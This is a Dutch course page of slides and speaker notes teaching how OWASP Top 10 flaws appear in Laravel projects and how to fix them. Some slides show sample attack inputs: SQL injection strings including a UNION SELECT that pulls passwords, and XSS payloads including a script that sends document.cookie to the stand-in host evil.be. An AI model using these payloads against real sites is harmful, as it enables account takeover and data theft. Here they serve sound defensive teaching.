# Security

De OWASP Top 10 in een Laravel-project: wat er misloopt, en de regel code die het oplost.

Multimedia & Creatieve Technologie · 3.1 The Agency · Zelfstudie · versie 1.0.0 · 2026-09-30

Tags: laravel, php, security

Slides: <https://slides.mctantwerp.be/nl/the-agency/18-security>

<!-- slide 2 -->

## Agenda

1. De OWASP Top 10
2. Toegang
3. Injection en XSS
4. Configuratie
5. Hashing en encryptie
6. Uploads en links
7. Headers en limieten
8. Dependencies

> **Toelichting:** De hoofdstukken volgen de OWASP Top 10, maar gegroepeerd per plek in je code: routes en modellen, queries en Blade, je .env, gevoelige data, uploads, de rand van je app en je dependencies. Elk hoofdstuk staat op zich, dus je kan er later ook eentje apart opnieuw doornemen.

<!-- slide 3 -->

## Na deze les kan je

- Een IDOR, mass assignment of CSRF-lek herkennen in een Laravel-project, en het dichtzetten
- Uitleggen waarom een variabele in whereRaw of orderBy gevaarlijk is, en de query veilig herschrijven
- Kiezen tussen {{ }} en {!! !!}, en XSS vinden op plekken waar escaping niet helpt
- Een productie-.env nakijken op APP_DEBUG, APP_KEY en secrets
- Kiezen tussen hashing en encryptie, en uploads en signed urls veilig opzetten
- Security headers, rate limits en composer audit toevoegen aan je eigen project

> **Toelichting:** Deze vaardigheden komen samen in de opdracht aan het einde: een audit van je eigen project. Wie ze beheerst, kan ook een code review doen op het werk van een teamgenoot, en daar zit bij een agency vaak de meeste winst.

<!-- slide 4 -->

## 1. De OWASP Top 10

> **Toelichting:** In een agency-project ben jij verantwoordelijk voor de data van een klant, en vaak ook van de klanten van die klant. Een lek kost vertrouwen, en onder de GDPR soms een melding bij de toezichthouder. De Top 10 is ook een gedeelde taal: een klant of een auditor die A01 zegt, bedoelt hetzelfde als jij.

<!-- slide 5 -->

**Laravel is standaard veilig. Tot je het uitzet.**

{!! !!}, whereRaw met een ingeplakte string, een model zonder Fillable, APP_DEBUG=true. De lekken in deze les zitten bijna altijd op een plek waar iemand de veilige default omzeilde, meestal omdat het sneller ging.

> **Toelichting:** Laravel escapet in Blade, bindt waarden in Eloquent, controleert CSRF-tokens en hasht wachtwoorden met bcrypt, zonder dat je er iets voor doet. Elk van die defaults heeft een uitweg voor de gevallen waar je hem echt nodig hebt. Het risico zit in die uitwegen: zoek ze in je code, en vraag je telkens af of ze nodig waren.

<!-- slide 6 -->

### Wat OWASP is

OWASP (Open Worldwide Application Security Project) is een stichting die gratis kennis over webapp-security verzamelt. Hun bekendste lijst is de Top 10: de tien soorten lekken die het vaakst voorkomen, gerangschikt op data uit duizenden echte applicaties.

De editie van 2025 is de eerste sinds 2021. Elke categorie komt in deze les terug, met hoe ze eruitziet in een Laravel-project en de code die ze oplost.

> [!TIP]
> Gebruik de lijst als checklist bij een code review: stel bij elke categorie de vraag of ze in jouw project kan voorkomen.

- **[OWASP Top 10:2025](https://top10.owasp.org/2025/)**

> **Toelichting:** OWASP maakt meer dan de Top 10. Er is ook een API Security Top 10, en de Application Security Verification Standard (ASVS) voor wie een volledige checklist wil. De Top 10 is bewust kort: hij zegt wat het vaakst misloopt, niet alles wat kan mislopen.

<!-- slide 7 -->

### OWASP Top 10, A01 tot A05

|   | Categorie | Zo ziet het eruit in Laravel |
| --- | --- | --- |
| **A01** | Broken Access Control | Id in de url veranderen en de factuur van een andere klant zien |
| **A02** | Security Misconfiguration | `APP_DEBUG=true` in productie, een downloadbare `.env` |
| **A03** | Software Supply Chain Failures | Een package met een bekend lek dat niemand updatet |
| **A04** | Cryptographic Failures | Wachtwoorden in MD5, API keys leesbaar in de database |
| **A05** | Injection | `whereRaw` met een ingeplakte string, `{!! !!}` |

Broken access control staat al sinds 2021 op één. Supply chain is nieuw en komt meteen op drie. Injection zakte naar vijf, onder meer omdat frameworks zoals Laravel het standaard goed doen.

> **Toelichting:** De namen van de categorieën zijn breed. Broken Access Control bevat bijvoorbeeld ook CSRF, en in 2025 ook het ophalen van een url die de gebruiker opgaf (SSRF), die in 2021 nog een eigen plaats had. Op de site van OWASP staat per categorie een lijst met CWE's: dat zijn de concrete fouten die eronder vallen.

<!-- slide 8 -->

### A06 tot A10

|   | Categorie | Zo ziet het eruit in Laravel |
| --- | --- | --- |
| **A06** | Insecure Design | Een reset-link die nooit vervalt, geen limiet op pogingen |
| **A07** | Authentication Failures | Brute force op `/login`, sessies die niet vernieuwd worden |
| **A08** | Software or Data Integrity Failures | Een webhook die de body gelooft zonder te controleren |
| **A09** | Security Logging and Alerting Failures | Duizend mislukte logins, en niemand die het ziet |
| **A10** | Mishandling of Exceptional Conditions | Een catch die bij een fout gewoon doorgaat |

A10 is nieuw in 2025: fouten slecht afhandelen. Een foutpagina met een stack trace, of een catch die bij twijfel toegang geeft. Authenticatie zelf (A07) krijgt een eigen les.

> **Toelichting:** Insecure Design gaat over fouten die je niet met één regel code oplost, omdat het ontwerp zelf niet klopt. Een wachtwoord-reset zonder vervaldatum is daar een voorbeeld van. Bij Logging (A09) hoort een mislukte login in je log, zodat een aanval opvalt in je monitoring.

<!-- slide 9 -->

## 2. Toegang

> **Toelichting:** Broken access control staat op één omdat het in bijna elke app met meer dan één soort gebruiker opduikt. Laravel kan niet raden wie wat mag, dus hier helpt geen default: jij schrijft de regels. In een project met meerdere klanten in één app pas je dit hoofdstuk best als eerste toe.

<!-- slide 10 -->

### IDOR

Stel: je bouwt een klantenportaal. Elke klant ziet zijn facturen op een url met het id erin, en de route zit achter de auth-middleware.

```php
Route::get('/invoices/{invoice}', [InvoicesController::class, 'show'])
    ->middleware('auth');
```

Jouw factuur is `/invoices/1041`. Op `/invoices/1042` staat die van een andere klant, en je krijgt hem gewoon te zien. De middleware checkt alleen óf je ingelogd bent, niet of deze factuur van jou is. Dat heet een IDOR: insecure direct object reference.

> **Toelichting:** Een id in de url is op zich geen fout, ook niet als het oploopt. Met UUID's of ULID's kan niemand het volgende id raden, maar dat is geen autorisatie: wie een url doorgestuurd krijgt, heeft het id toch. De check hoort altijd op de server.

<!-- slide 11 -->

### IDOR dichtzetten

```php
Route::get('/invoices/{invoice}', [InvoicesController::class, 'show'])
    ->middleware('auth')
    ->can('view', 'invoice');
```

`can('view', 'invoice')` vraagt aan de `InvoicePolicy` of deze user deze factuur mag zien. Zegt de policy nee, dan krijgt de bezoeker een 403 en draait je controller niet eens.

> [!TIP]
> Test elke route met een model erin met een tweede account, in een privévenster. Policies, scoping per team en de keuze tussen 403 en 404 staan in de les over autorisatie en in de [docs over authorization](https://laravel.com/docs/13.x/authorization).

> **Toelichting:** Naast de can-middleware kan je in de controller Gate::authorize('view', $invoice) gebruiken, of in Laravel 13 het attribuut #[Authorize] op de controllermethode. Een andere aanpak is scopen: $request->user()->invoices()->findOrFail($id) vindt alleen facturen van de ingelogde user, en geeft anders een 404.

<!-- slide 12 -->

### Mass assignment

Stel: een profielpagina met naam en e-mail. Wie de devtools opent, voegt zelf een veld toe aan het formulier en verstuurt dit:

```http
PATCH /profile
name=Jan&email=jan@bakkerij.be&is_admin=1
```

*en de code*

```php
#[Unguarded]
class User extends Authenticatable {}

$user->update($request->all());
```

Het model laat elk veld toe en de controller geeft alles door. is_admin komt in de database: de gebruiker maakte zichzelf admin, met jouw formulier.

> **Toelichting:** Dit werkt ook zonder devtools: met curl of Postman kan iemand eender welk veld meesturen. Een formulier dat een veld niet toont, is dus geen bescherming. Alles wat de server binnenkrijgt, kan de gebruiker zelf gekozen hebben.

<!-- slide 13 -->

### Mass assignment dichtzetten

```php
#[Fillable(['name', 'email'])]
class User extends Authenticatable {}

$user->update($request->validated());
```

Nu moet een veld twee keer toegelaten worden: in de rules van je Form Request, anders zit het niet in `validated()`, en in `Fillable` op het model. is_admin staat op geen van beide lijsten.

Zet lokaal `Model::preventSilentlyDiscardingAttributes($this->app->isLocal())` in `AppServiceProvider`. Dan krijg je een exception in plaats van een veld dat stil verdwijnt. Meer in de [docs over mass assignment](https://laravel.com/docs/13.x/eloquent#mass-assignment).

> **Toelichting:** Vroeger schreef je protected $fillable = ['name', 'email'] als property op het model. Dat werkt in Laravel 13 nog altijd, het attribuut Fillable is de nieuwe manier. Velden die de gebruiker niet mag kiezen, zoals team_id, vul je zelf in: $team->projects()->create($request->validated()) zet team_id via de relatie.

<!-- slide 14 -->

### Een collega zet #\[Unguarded\] op elk model, omdat Fillable bijhouden te veel werk is. Wanneer wordt dat een lek?

- A. Nooit, Laravel valideert toch
- B. Als er ergens create of update met $request->all() staat
- C. Alleen bij API-routes
- D. Alleen als APP_DEBUG aan staat

**Antwoord:** B. Als er ergens create of update met $request->all() staat

Unguarded zegt dat elk veld mag. Zolang elke create en update alleen validated() krijgt, gaat het goed, maar één $request->all() ergens in het project zet is_admin open. 'Laravel valideert toch' klopt niet: validatie filtert alleen wat je via validated() doorgeeft, all() geeft alles wat de browser stuurde.

> **Toelichting:** Wie toch Unguarded wil gebruiken, kan het afdekken met een arch test in Pest die $request->all() in controllers verbiedt, zie de les over architectuurtests. Het blijft een afspraak die één collega kan vergeten. Daarom kiezen de meeste teams voor Fillable.

<!-- slide 15 -->

### Cross-site request forgery

1. Browser → evil.be, **Je opent een link**: Een gewone pagina. Je merkt niets.
2. evil.be → Browser, **Een verborgen form**: Met `action="https://app.klant.be/user/email"`, het e-mailadres van de aanvaller en een script dat het form meteen verstuurt.
3. Browser → Laravel, **POST /user/email**: Vroeger ging je sessie-cookie gewoon mee, en was je e-mailadres veranderd. Laravel zet die cookie op `SameSite=lax`: bij een POST van een andere site blijft hij nu thuis.
4. Laravel → Browser, **419**: De browser zegt `Sec-Fetch-Site: cross-site`, dus `PreventRequestForgery` wil een CSRF-token. Er is er geen, dus weigert Laravel.

> **Toelichting:** Een aanval met een GET werkt anders: SameSite=lax laat de cookie bij een gewone link wel meegaan. Daarom mag een GET nooit iets veranderen. CSRF bestaat ook bij het inloggen zelf: dan logt de aanvaller jou in op zijn account, en alles wat je daarna invult, komt bij hem terecht.

<!-- slide 16 -->

### Twee sloten

- Slot één is de cookie. Laravel zet de sessie-cookie op `SameSite=lax`, dus bij een POST vanaf een andere site stuurt de browser hem niet mee. Oudere browsers en subdomeinen maken dat slot soms zwakker.
- Slot twee is `PreventRequestForgery`. Zegt de browser `Sec-Fetch-Site: same-origin`, dan mag de request door.
- Anders wil Laravel een token: het verborgen veld van `@csrf`, of de `X-XSRF-TOKEN`-header die Axios zelf meestuurt. Geen geldig token geeft een 419 Page Expired.

- ```html
  <form method="POST" action="/profile">
      @csrf
  </form>
  ```
- **[CSRF Protection](https://laravel.com/docs/13.x/csrf)**: Hoe de middleware werkt, en hoe je routes uitzondert.

> **Toelichting:** Sec-Fetch-Site stuurt een browser alleen over https. Lokaal op http zie je dus altijd de fallback op het token. Met preventRequestForgery(originOnly: true) zet je die fallback uit: dan geeft een mislukte check een 403 in plaats van een 419.

<!-- slide 17 -->

### Een webhook uitzonderen

*bootstrap/app.php*

```php
->withMiddleware(function (Middleware $middleware): void {
    $middleware->preventRequestForgery(except: [
        'payment/webhook',
    ]);
})
```

Een webhook van Mollie of Stripe komt van een andere server, zonder token. Die route zet je in `except`, en je controleert hem op een andere manier: zie de les over online betalingen. In Laravel 11 en 12 heette deze methode `validateCsrfTokens`.

> [!WARNING]
> Een GET valt buiten de check. Daarom verandert een GET nooit iets: geen delete-link, geen bevestiging via een gewone link.

> **Toelichting:** Een webhook uitzonderen van CSRF betekent niet dat hij onbeveiligd is. Mollie stuurt alleen een id en jij haalt de status zelf op met je API key. Andere diensten, zoals Stripe of Postmark, ondertekenen hun webhooks met een geheim, en die handtekening controleer je in je controller.

<!-- slide 18 -->

### Je Blade-formulier geeft na het versturen een 419 Page Expired. Wat ontbreekt er waarschijnlijk?

- A. @csrf in het formulier
- B. De auth-middleware op de route
- C. Fillable op het model
- D. Een APP_KEY in .env

**Antwoord:** A. @csrf in het formulier

419 is de CSRF-check van Laravel: er kwam een POST binnen zonder geldig token. @csrf zet het verborgen \_token-veld in je form. De auth-middleware lijkt logisch, maar een ontbrekende login geeft een redirect naar /login, geen 419.

> **Toelichting:** Een 419 kan ook betekenen dat je sessie verlopen is: het formulier stond te lang open, of je draaide php artisan key:generate terwijl je ingelogd was. In een frontend met Axios zet Axios de X-XSRF-TOKEN-header zelf, uit de XSRF-TOKEN-cookie van Laravel.

<!-- slide 19 -->

## 3. Injection en XSS

> **Toelichting:** Injection staat sinds de eerste editie in de lijst. Eloquent en Blade beschermen je standaard, dus in een Laravel-project duikt het vooral op in rapporten, filters en zoekvelden, waar iemand de query builder te beperkend vond. Dat zijn net de schermen die klanten vaak vragen.

<!-- slide 20 -->

### Een string in je query

```php
$email = $request->input('email');

$users = User::whereRaw("email = '$email'")->get();
```

Vult iemand `' OR 1=1 --` in als e-mailadres, dan krijgt MySQL dit:

```sql
select * from users where email = '' OR 1=1 -- '
```

MySQL krijgt één stuk tekst en ziet niet meer waar jouw query stopt en de invoer begint. `OR 1=1` is altijd waar, en `--` maakt van de rest commentaar: elke user komt terug.

> **Toelichting:** De -- moet in MySQL gevolgd worden door een spatie om commentaar te zijn. Aanvallers proberen dit niet met de hand: tools zoals sqlmap proberen honderden varianten per veld, automatisch. Een lek dat moeilijk te vinden lijkt, wordt dus toch gevonden.

<!-- slide 21 -->

### Ingeplakt of gebonden

Klik de voorbeelden van links naar rechts en vergelijk telkens de twee kolommen. Let op O'Brien: geen aanvaller, en toch crasht de linkse versie. Dezelfde invoer gaat door `User::whereRaw("email = '$email'")` en door `User::whereRaw('email = ?', [$email])`. Voorbeelden: `jan@bakkerij.be`, `' OR 1=1 -- `, `' OR '1'='1`, `o'brien@klant.be`, `' UNION SELECT email, password FROM users -- `.

> **Toelichting:** De simulatie kent één WHERE-clausule en een tabel met vijf users, dus niet elke invoer geeft een realistisch resultaat. Probeer ook eens ' OR email LIKE '%bakkerij%: in een echte database krijg je dan alle users van één klant. De UNION-fout is typisch voor wat een aanvaller eerst ziet, waarna hij het opnieuw probeert met meer kolommen tot het klopt.

<!-- slide 22 -->

### Waarom bindings werken

Met een `?` stuurt Laravel de query en de waarde apart naar de database, als prepared statement. MySQL leest eerst de query, en vult daarna de waarde in als data. Wat er ook in die waarde staat, het wordt nooit SQL.

```php
User::where('email', $email)->first();

User::whereRaw('email = ?', [$email])->first();

DB::select('select * from invoices where year = ?', [$year]);
```

`where`, `find`, `create` en `update` zetten altijd zelf bindings. Bij alles met Raw in de naam en bij `DB::select` doe je het zelf, zoals in de [docs over raw expressions](https://laravel.com/docs/13.x/queries#raw-expressions).

> **Toelichting:** Met toRawSql() op een query zie je de SQL met de waarden ingevuld, handig bij debuggen. Dat is alleen een weergave: naar de database gaan query en waarden nog altijd apart. Een prepared statement is ook sneller als je dezelfde query vaak uitvoert, maar daarom gebruik je het niet.

<!-- slide 23 -->

### Kolomnamen binden niet

*fout*

```php
Invoice::orderBy($request->input('sort'))->paginate();
```

PDO kan waarden binden, maar geen kolomnamen. Wat in `?sort=` staat, komt letterlijk in je SQL. De docs van de query builder zeggen het ook: laat invoer nooit een kolomnaam bepalen.

*goed*

```php
$sort = $request->validate([
    'sort' => [Rule::in(['number', 'total', 'created_at'])],
])['sort'] ?? 'created_at';

Invoice::orderBy($sort)->paginate();
```

Alleen namen uit een vaste lijst mogen door.

> **Toelichting:** Laravel zet kolomnamen tussen backticks, en dat houdt de eenvoudigste aanvallen tegen. Maar de docs beloven niets, en met een JSON-pad of een naam met een punt erin kan je die wrapping omzeilen. Een vaste lijst klopt altijd. Voor lijsten met veel sorteer- en filteropties is spatie/laravel-query-builder een goede keuze, zie de les over API's.

<!-- slide 24 -->

### Zoeken in je eigen project

- Zoek op `Raw(`: `whereRaw`, `selectRaw`, `orderByRaw`. Elke variabele tussen de aanhalingstekens is een kandidaat.
- Zoek op `DB::select` en `DB::statement`, en check of er `?` en een array met waarden staan.
- Zoek op `orderBy(` en `groupBy(` met iets uit `$request` erin.
- Gewone where, find, create en update met een waarde zijn in orde. Daar hoef je niet naar te kijken.

> **Toelichting:** In VS Code zoek je in je hele project met Cmd+Shift+F, of Ctrl+Shift+F op Windows. Zet een filter op app/ en resources/, zodat vendor/ niet meedoet. Blijf niet hangen bij regels zonder variabele: whereRaw('YEAR(created_at) = 2026') is gewoon SQL die jij schreef.

<!-- slide 25 -->

### Welke regel is kwetsbaar?

- A. User::where('email', $email)->first()
- B. User::whereRaw('email = ?', \[$email\])->first()
- C. User::orderBy($request->input('sort'))->get()
- D. User::find($request->input('id'))

**Antwoord:** C. User::orderBy($request->input('sort'))->get()

Waarden gaan als binding mee, kolomnamen niet, dus wat in sort staat komt letterlijk in je SQL. whereRaw lijkt de gevaarlijke, maar met een ? en de waarde in een array is hij even veilig als where.

> **Toelichting:** Ook find() is veilig: het id gaat als binding mee. Een id uit de url dat niet van jou is, is wel een ander probleem: dat is de IDOR uit hoofdstuk 2. Veilig voor SQL injection betekent niet veilig voor alles.

<!-- slide 26 -->

### Escaped of raw

#### `{{ $comment->body }}`

Blade haalt de waarde door `htmlspecialchars`. `<script>` wordt `&lt;script&gt;`, en de bezoeker ziet gewoon tekst.

De default. Gebruik hem overal.

#### `{!! $comment->body !!}`

Blade geeft de HTML ongewijzigd door. Een script erin draait bij elke bezoeker, op jouw domein.

Alleen voor HTML die je zelf gemaakt hebt. Zelfs een naam komt ooit uit een formulier. Zie de [Blade-docs](https://laravel.com/docs/13.x/blade#displaying-data).

> **Toelichting:** Blade escapet met htmlspecialchars, met ENT_QUOTES en in UTF-8. Ook aanhalingstekens worden vervangen, en daardoor kan een waarde niet uit een HTML-attribuut ontsnappen. De slot van een Blade-component is veilig om te tonen, want die HTML maakte Blade zelf.

<!-- slide 27 -->

### Een comment met een script

Kies een voorbeeld en vergelijk de HTML die de browser krijgt. Links wordt het script uitgevoerd, rechts is het tekst. Dezelfde comment gaat door `<p>{!! $comment->body !!}</p>` en door `<p>{{ $comment->body }}</p>`. Voorbeelden: `Mooie foto, Jan!`, `<b>Mooie</b> foto`, `<script>fetch('https://evil.be/?c='+document.cookie)</script>`, `<img src=x onerror="alert('xss')">`.

> **Toelichting:** Het lab voert niets uit: scripts en event handlers worden uit de preview gehaald, en wat ze zouden doen staat in de lijst. Probeer ook eens <a href='javascript:alert(1)'>klik</a> in het veld. Links zie je een link die zijn href kwijt is, rechts gewoon de tekst.

<!-- slide 28 -->

### Wat een script kan

- Het script draait in de browser van elke bezoeker die de comment ziet, op jouw domein
- De sessie-cookie van Laravel is `HttpOnly`, dus `document.cookie` geeft hem niet. Dat helpt minder dan je denkt.
- Het script kan als de bezoeker elke pagina openen en lezen, en elk formulier versturen
- Het CSRF-token staat in die pagina’s, dus CSRF-bescherming houdt een XSS niet tegen

> **Toelichting:** XSS heeft drie vormen. Stored: de payload staat in je database, zoals de comment hier. Reflected: hij zit in een url en komt terug in de pagina, bijvoorbeeld een zoekterm. DOM-based: je eigen JavaScript zet invoer met innerHTML in de pagina. Blade beschermt je bij de eerste twee, de derde zit in je frontend-code.

<!-- slide 29 -->

### Waar {{ }} je niet redt

- **In een href**: `javascript:alert(1)` heeft niets om te escapen. Valideer het veld met `url:http,https`.
- **In een script-tag**: Geef data door met `{{ Js::from($data) }}`, niet met een string die je zelf in JavaScript bouwt.
- **In Vue of React**: `v-html` en `dangerouslySetInnerHTML` doen hetzelfde als `{!! !!}`. De rest van Vue en React escapet zelf.
- **Markdown van gebruikers**: Markdown laat HTML toe. Zonder de juiste optie gaat een script er gewoon door, zie de volgende slide.

> **Toelichting:** Js::from zet PHP-data om naar JSON die veilig in een script-tag kan, ook als er </script> in een string staat. In Inertia-projecten gaat data als props naar Vue of React, en die escapen zelf. Daar zit het risico alleen in v-html en dangerouslySetInnerHTML.

<!-- slide 30 -->

### Markdown en rich text

```php
Str::markdown($comment->body, [
    'html_input' => 'strip',
    'allow_unsafe_links' => false,
]);
```

`html_input` op `strip` haalt alle HTML uit de Markdown, `allow_unsafe_links` blokkeert links met `javascript:`. Zie [Str::markdown](https://laravel.com/docs/13.x/strings#method-str-markdown).

Slaat een rich text editor HTML op? Dan heb je een HTML-sanitizer nodig die alleen een lijst veilige tags doorlaat, zoals `symfony/html-sanitizer`. Zelf tags wegfilteren met een regex lukt nooit volledig.

> **Toelichting:** De opties van Str::markdown komen van league/commonmark, de library eronder. Met allow_unsafe_links op false wordt een link met javascript: gewoon niet klikbaar. Test het in php artisan tinker met Str::markdown('<script>alert(1)</script>', ['html_input' => 'strip']).

<!-- slide 31 -->

### Een user vult als website javascript:alert(1) in. In Blade staat <a href="{{ $user->website }}">. Wat gebeurt er?

- A. Niets, {{ }} escapet alles
- B. Het script draait als iemand op de link klikt
- C. Blade gooit een exception
- D. De browser blokkeert javascript: altijd

**Antwoord:** B. Het script draait als iemand op de link klikt

Escaping vervangt tekens als < en aanhalingstekens, en in javascript:alert(1) staat er geen. De href blijft dus werken als script. '{{ }} escapet alles' is de verleidelijke fout: het escapet tekens, het begrijpt geen urls. Valideer het veld met url:http,https.

> **Toelichting:** De url-regel zonder parameters laat ook andere protocollen toe, zoals ftp:, daarom de lijst http,https. Oudere Laravel-versies kenden die parameter nog niet. Heb je al data in je database van voor de validatie, controleer dan bij het tonen ook of de url met https:// of http:// begint.

<!-- slide 32 -->

## 4. Configuratie

> **Toelichting:** Security Misconfiguration staat op twee in de Top 10. Eén verkeerde regel in .env zet alles open, hoe goed je code ook is. In een agency deployen verschillende mensen naar verschillende servers, dus dit hoofdstuk hoort in je deploychecklist.

<!-- slide 33 -->

### APP_DEBUG in productie

Stel: een project draait live met `APP_DEBUG=true`, omdat iemand .env van zijn laptop kopieerde. Een bezoeker typt iets raars in een formulier en de query faalt. De foutpagina toont de stack trace, stukken van je code en de query met zijn waarden.

*.env in productie*

```ini
APP_ENV=production
APP_DEBUG=false
APP_URL=https://app.klant.be
LOG_LEVEL=warning
```

> [!TIP]
> Check het zelf: `php artisan about` op de server toont onder Environment of Debug Mode aan staat.

> **Toelichting:** Laravel toont sinds versie 11 een eigen foutpagina, eerder was dat Ignition. Beide tonen met APP_DEBUG=true veel te veel voor een publieke site. Met APP_DEBUG=false krijgt de bezoeker een nette 500-pagina, en de volledige fout staat in storage/logs of in je monitoring.

<!-- slide 34 -->

### APP_KEY

- Laravel versleutelt er je cookies, sessies en encrypted kolommen mee, en ondertekent er signed urls mee
- Wie de key heeft, maakt geldige signed urls en leest je encrypted data
- Elke omgeving heeft zijn eigen key. Lokaal en productie delen er nooit een.
- Gelekt? Maak een nieuwe key, en zet de oude in `APP_PREVIOUS_KEYS`. Laravel probeert die als de nieuwe niet werkt, zodat bestaande data leesbaar blijft.

```console
$ php artisan key:generate
```

**[Encryption](https://laravel.com/docs/13.x/encryption)**

> **Toelichting:** APP_PREVIOUS_KEYS is een lijst, gescheiden door komma's. Laravel versleutelt altijd met de nieuwe key en probeert de oude bij het ontsleutelen. Wachtwoorden hangen niet af van de APP_KEY: bcrypt heeft geen sleutel nodig, dus met een nieuwe key blijft elk wachtwoord werken.

<!-- slide 35 -->

### De webroot is public/

Stel: de webserver wijst naar de projectmap in plaats van naar `public/`. Dan is `.env` een gewoon bestand dat iedereen kan downloaden, met je database-wachtwoord, je APP_KEY en de API keys van de klant.

```bash
https://app.klant.be/.env
```

> [!TIP]
> Check het zelf: surf naar `/.env` en `/composer.json` op je eigen site. Je moet twee keer een 404 krijgen.

> **Toelichting:** Op Forge en Laravel Cloud wijst de webroot standaard naar public/. Het risico zit bij gedeelde hosting of een server die je zelf configureert. Ook .git/ in de webroot is een klassieker: wie /.git/config kan downloaden, kan vaak je hele repository reconstrueren.

<!-- slide 36 -->

### Secrets in een agency

- De secrets van een klant staan in de password manager van het project, niet in Discord of in een README
- Eén persoon per project beheert ze. Niet iedereen die ze toevallig in zijn .env heeft.
- Verlaat iemand het team? Vervang de keys die die persoon kende.
- Maak per omgeving een aparte API key, zodat een lokale key nooit iets in productie kan

> [!NOTE]
> Het basisverhaal over .env, .gitignore en een gepushte key staat in de les Accounts en secrets van Algemeen.

> **Toelichting:** php artisan env:encrypt versleutelt een .env-bestand, zodat je een versie voor productie in je repository kan zetten en alleen de sleutel apart deelt. Dat is handig voor teams zonder andere plek voor secrets. Laravel Cloud en Forge hebben een eigen editor voor de omgevingsvariabelen.

<!-- slide 37 -->

### Fail open

Stel: je app vraagt bij elke request aan een externe licentieserver of het team betaald heeft. Om klanten niet te blokkeren als die server plat ligt, staat er dit:

```php
try {
    $active = $this->licenses->isActive($team);
} catch (ConnectionException) {
    $active = true;
}
```

Wie de licentie wil omzeilen, hoeft nu alleen die server onbereikbaar te maken. Dit is A10 uit de Top 10: een fout die slecht afgehandeld wordt, en daardoor toegang geeft.

> **Toelichting:** Fail open is niet altijd fout: een cache die niet reageert, mag je overslaan en dan vraag je het aan de database. De vraag is wat er gebeurt als de controle niet kan. Gaat het over toegang, geld of rechten, dan weiger je.

<!-- slide 38 -->

### Fail closed

```php
try {
    $active = $this->licenses->isActive($team);
} catch (ConnectionException $exception) {
    report($exception);

    abort(503);
}
```

`report()` schrijft de fout naar je log, en naar Nightwatch of Sentry als je die gebruikt. `abort(503)` zegt eerlijk dat er iets mis is. Bij twijfel weiger je. Meer in de [docs over error handling](https://laravel.com/docs/13.x/errors).

> **Toelichting:** Een lege catch is een variant van hetzelfde probleem: de fout verdwijnt, en je code gaat door alsof alles goed ging. Een exception die je niet kan oplossen, laat je gewoon door: Laravel logt hem en toont een foutpagina. Met Http::retry() probeer je een externe API eerst een paar keer opnieuw voor je opgeeft.

<!-- slide 39 -->

## 5. Hashing en encryptie

> **Toelichting:** Cryptographic Failures gaat zelden over zelf geschreven crypto. Het gaat over gevoelige data die niet versleuteld is, of versleuteld met iets zwaks. Laravel geeft je bcrypt en AES met de juiste instellingen: je moet alleen weten welke je waar gebruikt.

<!-- slide 40 -->

### Hashing en encryptie

#### Hashing

Enkele richting

Van wachtwoord naar hash, nooit terug. Je controleert door opnieuw te hashen en te vergelijken.

Voor wachtwoorden. `Hash::make`, `Hash::check`

#### Encryptie

Heen en terug

Met de APP_KEY krijg je de originele waarde terug.

Voor data die je later nog gebruikt, zoals de API key van een klant. `Crypt`, de `encrypted` cast

> **Toelichting:** Base64 is geen van beide: het is een codering die iedereen terugdraait, zonder sleutel. Een API key in base64 in je database is dus even leesbaar als gewone tekst. Laravel versleutelt standaard met AES-256-CBC, met een handtekening erbij zodat niemand de versleutelde waarde kan aanpassen.

<!-- slide 41 -->

### Allebei in het model

```php
class Team extends Model
{
    protected function casts(): array
    {
        return [
            'admin_password' => 'hashed',
            'mollie_api_key' => 'encrypted',
        ];
    }
}
```

1. `hashed` hasht bij het opslaan. Controleren doe je met `Hash::check($input, $team->admin_password)`.
2. `encrypted` versleutelt bij het opslaan en ontsleutelt bij het lezen. Zoeken op die kolom kan niet: in de database staat telkens een andere string.

Zie de docs over [hashing](https://laravel.com/docs/13.x/hashing) en [encryption](https://laravel.com/docs/13.x/encryption).

> **Toelichting:** Een encrypted kolom moet groot genoeg zijn, want de versleutelde waarde is veel langer dan het origineel: gebruik text in je migratie. Verlies je de APP_KEY, dan is die kolom voor altijd onleesbaar. Bewaar de key van productie daarom ook in de password manager van het project.

<!-- slide 42 -->

### Gelekt als MD5

Stel: je database lekt, met de wachtwoorden als MD5 zoals in oude PHP-projecten. Eén GPU rekent er zo'n 150 miljard per seconde. Kies een wachtwoord en onthoud de tijd.

- `Bakkerij2026!`: Gekraakt na nooit
- `welkom123`: Gekraakt na meteen
- `fietsbel7`: Gekraakt na 6 minuten
- `P@ssw0rd`: Gekraakt na meteen
- `croissant-fiets-mistig-orgel`: Gekraakt na nooit

> **Toelichting:** De snelheden zijn een ordegrootte, gebaseerd op de benchmarks van hashcat voor een recente GPU. Een aanvaller met tien GPU's gaat tien keer sneller, maar dat verandert niets aan het verschil tussen MD5 en bcrypt.

<!-- slide 43 -->

### Gelekt als bcrypt

Dezelfde tabel met bcrypt, zoals Laravel het standaard doet: dezelfde GPU haalt er een paar duizend per seconde. Vergelijk de tijden, en kijk wat er met welkom123 gebeurt.

- `Bakkerij2026!`: Gekraakt na nooit
- `welkom123`: Gekraakt na meteen
- `fietsbel7`: Gekraakt na 8 eeuwen
- `P@ssw0rd`: Gekraakt na meteen
- `croissant-fiets-mistig-orgel`: Gekraakt na nooit

> **Toelichting:** Laravel kan ook argon2id gebruiken, in config/hashing.php, en dat is nog iets sterker tegen gespecialiseerde hardware. Bcrypt met cost 12 is voor een agency-project prima. Met Hash::needsRehash() zet je bestaande hashes na een wijziging om bij de volgende login.

<!-- slide 44 -->

### Wat de labs tonen

- bcrypt is bewust traag, met cost 12 in Laravel. Het verschil met MD5 is een factor honderd miljoen.
- Elk wachtwoord krijgt een eigen salt, dus twee users met hetzelfde wachtwoord hebben een andere hash
- Een wachtwoord uit een gelekte lijst valt toch meteen, want dat wordt als eerste geprobeerd
- Daarom de regel `Password::min(8)->uncompromised()` bij registratie: die weigert wachtwoorden die in een bekend lek staan

> **Toelichting:** uncompromised() stuurt geen wachtwoord naar buiten. Het stuurt de eerste vijf tekens van een SHA-1-hash naar de API van Have I Been Pwned en vergelijkt de rest lokaal. Zo leert niemand welk wachtwoord je gebruiker koos.

<!-- slide 45 -->

### De klant geeft je zijn API key van Mollie, en je app moet hem bij elke betaling meesturen. Hoe bewaar je hem in de database?

- A. Met de hashed cast
- B. Met de encrypted cast
- C. Als gewone string, de database is toch beveiligd
- D. Met md5, dat is sneller

**Antwoord:** B. Met de encrypted cast

Je hebt de originele waarde nodig om hem mee te sturen, en een hash krijg je nooit terug. Hashed klinkt veiliger, maar dan kan je app de key zelf ook niet meer gebruiken. Encrypted versleutelt met de APP_KEY, dus een gelekte database alleen is niet genoeg.

